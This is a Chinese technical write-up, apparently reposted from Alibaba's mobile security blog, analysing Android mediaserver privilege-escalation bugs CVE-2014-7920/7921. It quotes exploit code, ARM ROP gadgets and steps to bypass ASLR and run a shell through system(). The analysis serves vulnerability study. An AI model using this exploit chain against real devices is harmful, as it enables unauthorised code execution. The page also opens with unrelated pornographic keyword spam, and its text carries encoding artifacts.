日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > Android >内容正文

Android

Android提权漏洞CVE-2014-7920CVE-2014-7921分析

發(fā)布時間:2024/9/20 Android 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Android提权漏洞CVE-2014-7920CVE-2014-7921分析 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

作者:沒羽@阿里移動安全,更多技術(shù)干貨,請訪問阿里聚安全博客

這是Android mediaserver的提權(quán)漏洞,利用CVE-2014-7920和CVE-2014-7921實現(xiàn)提權(quán),從0權(quán)限提到media權(quán)限,其中CVE-2014-7921影響Android 4.0.3及以后的版本,CVE-2014-7920影響Android 2.2及以后的版本。Google直到Android5.1才修復這2個漏洞。該漏洞[1]披露過程如下:

14.10.14 - Vulnerabilities disclosed to Google 21.10.14 - Notified the Android security team that I've written a full exploit 13.12.14 - Sent query to Google regarding the current fix status 03.01.15 - Got response stating that the patches will be rolled out in the upcoming version 03.02.15 - Sent another query to Google 18.02.15 - Got response stating the fix status has not changed 08.03.15 - Sent third query to Google 19.03.15 - Got response saying patches have been pushed into Android 5.1

2016年1月24日漏洞作者發(fā)布了漏洞分析及exploit[2],拿到exploit后在幾個Android版本上均沒能運行成功,遂分析原因,學習漏洞利用思路。記錄如下,歡迎大家交流學習。
不熟悉Android Binder的同學,請自行網(wǎng)上搜索學習資料,下面直接分析漏洞。

0x1漏洞成因

前文提到這2個漏洞出在mediaserver,mediaserver在main_mediaserver.cpp[3]實現(xiàn),其main()函數(shù)中初始化了2個service:

一個是AudioFlinger[4],service name為“media.audio_flinger”;另一個是AudioPolicyService[5],service name為“media.audio_policy”。

1.1內(nèi)存寫漏洞

內(nèi)存寫漏洞產(chǎn)生在“media.audio_policy”中,接口類為IAudioPolicyService6,其中startOutput()接口存在遞增的內(nèi)存寫漏洞,stopOutput()接口存在遞減的內(nèi)存寫漏洞。
startOutput()接口定義為:
startOutput(audio_io_handle_t output, audio_stream_type_t stream, int session = 0)
stopOutput ()接口定義為:
stopOutput(audio_io_handle_t output, audio_stream_type_t stream, int session = 0)

1)startOutput的遞增寫漏洞

熟悉Android Binder的同學都知道,該接口的native類為BnAudioPolicyService[8],當客戶端請求“START_OUTPUT”code即startOutput()接口時,BnAudioPolicyService::onTransact()收到請求,然后執(zhí)行下面的代碼:

case START_OUTPUT: {CHECK_INTERFACE(IAudioPolicyService, data, reply);audio_io_handle_t output = static_cast <audio_io_handle_t>(data.readInt32());uint32_t stream = data.readInt32();int session = data.readInt32();reply->writeInt32(static_cast <uint32_t>(startOutput(output,(audio_stream_type_t)stream, session)));return NO_ERROR;} break;

繼續(xù)調(diào)用AudioPolicyService ::startOutput()[9]方法:
mpAudioPolicy->start_output(mpAudioPolicy, output, stream, session);
mpAudioPolicy為audio_policy類型,audio_policy:: start_output()在audio_policy_hal.cpp中被定義為ap_start_output(),該方法調(diào)用:

lap->apm->startOutput(output, (AudioSystem::stream_type)stream, session);

lap->apm->startOutput()由AudioPolicyManagerBase:: startOutput()方法實現(xiàn),該方法調(diào)用:

outputDesc->changeRefCount(stream, 1);

我們來看AudioOutputDescriptor:: changeRefCount()[10]方法的代碼:

void AudioPolicyManagerBase::AudioOutputDescriptor::changeRefCount(AudioSystem::stream_type stream, int delta) {// forward usage count change to attached outputsif (isDuplicated()) {mOutput1->changeRefCount(stream, delta);mOutput2->changeRefCount(stream, delta);}if ((delta + (int)mRefCount[stream]) < 0) {ALOGW("changeRefCount() invalid delta %d for stream %d, refCount %d", delta, stream, mRefCount[stream]);mRefCount[stream] = 0;return;}mRefCount[stream] += delta;ALOGV("changeRefCount() stream %d, count %d", stream, mRefCount[stream]);

當2個if語句都為假時,mRefCount[stream] += delta;語句將被執(zhí)行。

此時如果索引stream可被控制,那么mRefCount內(nèi)存的相對偏移內(nèi)存將可被修改為加delta。恰巧stream為接口參數(shù)之一,也沒校驗,在AudioPolicyManagerBase:: startOutput()中傳入的delta為1 ,也就是說這里存在一個遞增1的內(nèi)存寫漏洞。這個內(nèi)存寫漏洞的產(chǎn)生需要滿足以下條件:

  • isDuplicated()為False:幸運的是默認情況大部分output不是duplicated的。

  • (delta +(int)mRefCount[stream]) < 0:由于這個判斷條件,mRefCount[stream]<0x7FFFFFFF時才會為False,這就限制了這個內(nèi)存寫漏洞,只能對內(nèi)存內(nèi)容小于0x7FFFFFFF的內(nèi)存值進行遞增。

2)stopOutput的遞減寫漏洞

stopOutput()接口類似于startOutput()接口,我們直接看AudioPolicyManagerBase::stopOutput()方法,該方法調(diào)用的是:
outputDesc->changeRefCount(stream, -1);
與startOutput()接口類似,也存在相同的寫限制,不同的是這遞減1的內(nèi)存寫漏洞。

1.2內(nèi)存讀漏洞

內(nèi)存寫漏洞也產(chǎn)生在“media.audio_policy”中,問題出在isStreamActive()接口。該接口定義為:
bool isStreamActive(audio_stream_type_t stream, uint32_t inPastMs)
類似于startOutput()接口,該接口調(diào)用了AudioPolicyManagerBase::isStreamActive()方法,該方法調(diào)用:

outputDesc->isStreamActive((AudioSystem::stream_type)stream, inPastMs, sysTime);

即AudioOutputDescriptor::isStreamActive()方法,該方法代碼為:

bool AudioPolicyManagerBase::AudioOutputDescriptor::isStreamActive(AudioSystem::stream_type stream, uint32_t inPastMs, nsecs_t sysTime) const {if (mRefCount[stream] != 0) {return true;}if (inPastMs == 0) {return false;}if (sysTime == 0) {sysTime = systemTime();}if (ns2ms(sysTime - mStopTime[stream]) < inPastMs) {return true;}return false; }

如果根據(jù)isStreamActive() 返回值判斷mRefCount[stream]是否為0,需要滿足2個條件:

  • mRefCount[stream] != 0;

  • ns2ms(sysTime - mStopTime[stream]) > inPastMs:

sysTime - mStopTime[stream]為時間差值,為正值,當inPastMs>=0x80000000時,該不等式成立。
所以可以通過控制stream和inPastMs的值判斷mRefCount內(nèi)存相對偏移的值是否為0。

0x2利用之前

2.1利用技巧小結(jié)

1)利用內(nèi)存讀,模糊匹配audio_hw_device對象

audio_hw_device這個結(jié)構(gòu)包含了audio硬件設(shè)備函數(shù)指針,在“media.audio_policy”和“media.audio_flinger” service提供的接口中會被調(diào)用,這有利于寫exploit。audio_hw_device結(jié)構(gòu)定義如下:

[圖片來自原文]
分析發(fā)現(xiàn)audio_hw_device對象中reserved和function_ptrs-> get_supported_devices為0,其它字段為非0。該結(jié)構(gòu)用0和非0的形式可表示為:

static const unsigned char g_audio_hw_device_t_template[] = {NOT_ZERO, //tagNOT_ZERO, //versionNOT_ZERO, //module//reservedZERO, ZERO, ZERO, ZERO,ZERO, ZERO, ZERO, ZERO,ZERO, ZERO, ZERO, ZERO,NOT_ZERO, //closeZERO, //get_supported_devices//rest of function pointersNOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO,NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO,NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO,NOT_ZERO, NOT_ZERO };

前面提到可以通過isStreamActive()接口判斷內(nèi)存值是否為非0,這樣結(jié)合audio_hw_device結(jié)構(gòu)的特征在內(nèi)存中搜索,恰巧在mRefCount的上下內(nèi)存區(qū)域中可以搜索到audio_hw_device對象。
2)利用內(nèi)存寫,泄漏內(nèi)存地址

“media.audio_flinger”提供了getInputBufferSize()接口[11],接口定義為:

size_t getInputBufferSize(uint32_t sampleRate, audio_format_t format,audio_channel_mask_t channelMask)

其服務(wù)端代碼為:

size_t AudioFlinger::getInputBufferSize(uint32_t sampleRate, audio_format_t format,audio_channel_mask_t channelMask) const {status_t ret = initCheck();if (ret != NO_ERROR) {return 0;}AutoMutex lock(mHardwareLock);mHardwareStatus = AUDIO_HW_GET_INPUT_BUFFER_SIZE;struct audio_config config;memset(&config, 0, sizeof(config));config.sample_rate = sampleRate;config.channel_mask = channelMask;config.format = format;audio_hw_device_t *dev = mPrimaryHardwareDev->hwDevice();size_t size = dev->get_input_buffer_size(dev, &config);mHardwareStatus = AUDIO_HW_IDLE;return size; }

當客戶端調(diào)用getInputBufferSize()接口,服務(wù)端最終調(diào)用get_input_buffer_size()即audio_hw.cpp::adev_get_input_buffer_size()函數(shù),最后返回size。由arm指令特性可知,get_input_buffer_size(dev, &config)函數(shù)的反匯編中,通過R0傳入dev指針,即audio_hw_device對象,函數(shù)執(zhí)行完后,返回值通過R0傳回。如果修改get_input_buffer_size函數(shù)指針,讓其指向“BX LR”,那個就可拿到audio_hw_device對象的內(nèi)存地址。

恰巧get_input_buffer_size ()函數(shù)指針也存儲于audio_hw_device對象中,使用內(nèi)存寫漏洞讓audio_hw_device. get_input_buffer_size指向一個“BX LR”的地址即可獲取audio_hw_device對象地址。

2.2踩到的坑

筆者在調(diào)試exploit時發(fā)生多次crash,將update后的exploit放在https://github.com/Vinc3nt4H/cve-2014-79...,編譯環(huán)境:Android 4.3_r2.1,運行環(huán)境:AVD 4.3(4.3_r2.1)。

1)搜索audio_hw_device對象時mediaserver crash

在運行exploit時,可以搜索到audio_hw_device對象,但mediaserver crash了,可能是由于搜索的內(nèi)存范圍過大,導致非法內(nèi)存訪問。可縮小搜索范圍試試,比如設(shè)置MAX_OFFSET為-3000。

2)總是獲取不到adev_open_output_stream()地址

筆者在AVD 4.3上使用原gadget read_r0_offset_108,總是獲取不到adev_open_output_stream函數(shù)的指針,然后在camera.goldfish.so中找了一個gadget(thumb):

.text:0001E290 LDR R0, [R0,#0x6C] .text:0001E292 BX LR

3)android 4.4.2上crash

開始時筆者在AVD 4.4.2中執(zhí)行exploit總是不成功,調(diào)試發(fā)現(xiàn)audio_hw_device. get_input_buffer_size的值被置了0,如下圖:

因為mediaserver中加載的audio.primary.goldfish.so基址大于0x7FFFFFFF,也就是mRefCount[offset_get_input_buffer_size] > 0x7FFFFFFF,即為負數(shù),在利用遞增1/遞減1時,changeRefCount()方法,如果(delta + (int)mRefCount[stream]) < 0,則將mRefCount[stream]置為0。在4.4.2上很難利用成功。

0x3漏洞利用分析

3.1搜索audio_hw_device對象相對偏移

2.1-1中提到利用audio_hw_device結(jié)構(gòu)的特征在mediaserver進程中搜索匹配的對象。利用isStreamActive()的內(nèi)存讀漏洞讀取mRefCount附件內(nèi)存區(qū)域生產(chǎn)0/非0的內(nèi)存映射,然后與audio_hw_device結(jié)構(gòu)特征匹配,計算出audio_hw_device對象相對于mRefCount的相對偏移。

3.2 Bypass ASLR

2.1-2中有提到利用內(nèi)存寫漏洞獲取內(nèi)存地址,接下來我們來分析exploit是如何利用內(nèi)存寫繞過ASLR的。

1)獲取audio.primary.goldfish.so基地址

首先修改audio_hw_device. get_input_buffer_size指針的值,get_input_buffer_size原始指向adev_get_input_buffer_size,修改使其指向 camera.goldfish.so::0x1E290+1,記為gadget1,代碼如下:

int funcptr_current_value = RELATIVE_ADDRESS_OF_GET_INPUT_BUFFER_SIZE;int wanted_value = + read_r0_offset_108.library_offset + read_r0_offset_108.gadget_offset;printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);

其中l(wèi)ibrary_offset為所使用的lib基址與audio.primary.goldfish.so庫基址之間的偏移,gadget_offset為相對于該lib庫基址的偏移;RELATIVE_ADDRESS_OF_GET_INPUT_BUFFER_SIZE為adev_get_input_buffer_size函數(shù)地址在audio.primary.goldfish.so中的偏移;modify_value()函數(shù)是內(nèi)存遞增1 /遞減1操作的封裝。gadget1為:

.text:0001E290 LDR R0, [R0,#0x6C] .text:0001E292 BX LR

然后調(diào)用AudioFlinger::getInputBufferSize()跳到gadget1。
uint32_t read_function_pointer_address = af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
gadget1執(zhí)行時R0為dev即audio_hw_device對象,參考audio_hw_device結(jié)構(gòu),R0+0x64為open_output_stream即adev_open_output_stream的值,通過R0返回。

uint32_t audio_primary_library_address = read_function_pointer_address - READ_FUNCTION_POINTER_OFFSET_FROM_BASE_ADDRESS;

再減去adev_open_output_stream在audio.primary.goldfish.so中的偏移READ_FUNCTION_POINTER_OFFSET_FROM_BASE_ADDRESS,即可得到audio.primary.goldfish.so的基址。

2)獲取audio_hw_device對象地址

修改audio_hw_device. get_input_buffer_size指針使其指向libcamera_client.so::0x208FC+1,即gadget2:

.text:000208FC BX LR

gadget2運行時直接返回dev(R0)的值,即audio_hw_device對象的地址。

3)設(shè)置write gadget

修改audio_hw_device. get_input_buffer_size為libcamera_client.so: 0x208f0+1,記為gadget3,利用代碼如下:

wanted_value = + write_gadget_info.library_offset + write_gadget_info.gadget_offset;printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);

我們再來看看AudioFlinger::getInputBufferSize()方法,其中:

config.sample_rate = sampleRate; config.channel_mask = channelMask; config.format = format; size_t size = dev->get_input_buffer_size(dev, &config);

看gadget3,寫數(shù)據(jù)調(diào)用接口getInputBufferSize(address, 0, value)(該接口定義為getInputBufferSize(uint32_tsampleRate, audio_format_t format, audio_channel_mask_t channelMask)),走到get_input_buffer_size(dev, config)時,R0為dev, R1為&config,gadget3執(zhí)行如下:

.text:000208F0 LDR R2, [R1] ;將config.sample_rate存入R2中,即將address存入R2 .text:000208F2 STR R2, [R0] ;將config.sample_rate存儲dev[0] .text:000208F4 LDR R1, [R1,#4] ;將config.channel_mask存儲R1,即將value存入R1 .text:000208F6 LDR.W R2, [R2,#-0xC] ;計算偏移R2 = address - 0xC,在之前已修改了為相應(yīng)的值(如:12) .text:000208FA STR R1, [R0,R2] ;將config.channel_mask存儲到,即將value存入dev[R2] .text:000208FC BX LR ;返回

至此我們將audio_hw_device. get_input_buffer_size指向gadget3,再調(diào)用getInputBufferSize(address, 0, value)就可以向address-0xC內(nèi)存寫入value。

3.3布局Gadget Buffer

將system()函數(shù)地址及參數(shù)寫到audio_hw_device.reserved中,再修改audio_hw_device.get_input_buffer_size指向一個call gadget,當再次調(diào)用get_input_buffer_size()時call gadget被觸發(fā)。

1)寫入system()函數(shù)參數(shù)

看利用代碼:

const char* wanted_path = "/data/local/tmp/a"; uint32_t scratch_pad_address = primary_device_address + 12; … … for (int i=0; i<num_of_dwords_in_path; i++)write32(af, aps, scratch_pad_address + i*sizeof(uint32_t), data_ptr[i]);

write32()函數(shù)寫數(shù)據(jù)分為2步:
a)設(shè)置數(shù)據(jù)偏移
調(diào)用modify_value(aps, g_primary_device_offset + 1, offset - g_current_write_offset);修改dev.version的內(nèi)容,該字段作為后面數(shù)據(jù)寫入時的數(shù)組偏移;dev.version首次從0x200遞減直到0xC:

b)寫入數(shù)據(jù)
調(diào)用af->getInputBufferSize(g_primary_device_address + sizeof(uint32_t) + 12, (audio_format_t)0, (audio_channel_mask_t)value)觸發(fā)gadget3執(zhí)行,調(diào)試時斷在gadget3上:

此時R0指向dev,R1為&config:

查看[R1]內(nèi)存,R1[0]為config. sampleRate即address,為要寫入的地址,address為&dev[0]+4+12, R1[1]為config. channelMask即value ,值為“/dat”:

gadget3的偽代碼大致如下:

R2 = address;dev[0] = R2;R1 = value;R2 = [R2-0xC];//R2-0xC=>dev+4,指向dev.version,存儲寫入偏移dev[R2] = R1;//寫入value

該gadget(某次)運行完后,數(shù)據(jù)已被寫入audio_hw_device對象中:

2)寫入system()函數(shù)地址

根據(jù)audio.primary.goldfish.so的基址計算出system()函數(shù)的地址,調(diào)用gadget3寫到dev+36:

uint32_t system_address = audio_primary_library_address + system_gadget.library_offset +system_gadget.gadget_offset;printf("[+] Calculated system address: %08X\n", system_address); printf("[+] Writing parameters to addresses %08X, %08X\n", primary_device_address + 88, primary_device_address + 96);write32(af, aps, primary_device_address + 32, scratch_pad_address); write32(af, aps, primary_device_address + 36, system_address);

3)寫入call gadget

調(diào)用gadget3修改audio_hw_device. get_input_buffer_size指針的值,使用指向,libstagefright.so: 0x5EF88+1,記為gadget4。

uint32_t blx_gadget_address = audio_primary_library_address + blx_gadget.library_offset +blx_gadget.gadget_offset; printf("[+] Calculated blx gadget address: %08X\n", blx_gadget_address); write32(af, aps, primary_device_address + GET_INPUT_BUFFER_SIZE_OFFSET*sizeof(uint32_t), blx_gadget_address);

gadget4:

.text:0005EF88 LDR R3, [R0,#36] ;system() .text:0005EF8A LDR R0, [R0,#32] ; 將參數(shù)/data/local/tmp/a的指針加載到R0 .text:0005EF8C BLX R3

3.4觸發(fā)代碼執(zhí)行

利用代碼為:
af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
當調(diào)用getInputBufferSize()時觸發(fā)gadget4執(zhí)行:

寄存器值:

調(diào)用system()函數(shù),加載外命令/data/local/tmp/a。筆者寫了個遠程shell命名為a,下圖是運行成功后獲取的shell,為“media”權(quán)限:

0x4參考鏈接

[1]http://bits-please.blogspot.com/2016/01/...
[2]https://github.com/laginimaineb/cve-2014...
[3]http://androidxref.com/4.3_r2.1/xref/fra...
[4]http://androidxref.com/4.3_r2.1/xref/fra...
[5]http://androidxref.com/4.3_r2.1/xref/fra...
[6]http://androidxref.com/4.3_r2.1/xref/fra...
[7]http://androidxref.com/4.3_r2.1/xref/fra...
[8]http://androidxref.com/4.3_r2.1/xref/fra...
[9]http://androidxref.com/4.3_r2.1/xref/fra...
[10]http://androidxref.com/4.3_r2.1/xref/har...
[11]http://androidxref.com/4.3_r2.1/xref/fra...
[12]https://github.com/Vinc3nt4H/cve-2014-79...

作者:沒羽@阿里移動安全,更多技術(shù)干貨,請訪問阿里聚安全博客

總結(jié)

以上是生活随笔為你收集整理的Android提权漏洞CVE-2014-7920CVE-2014-7921分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。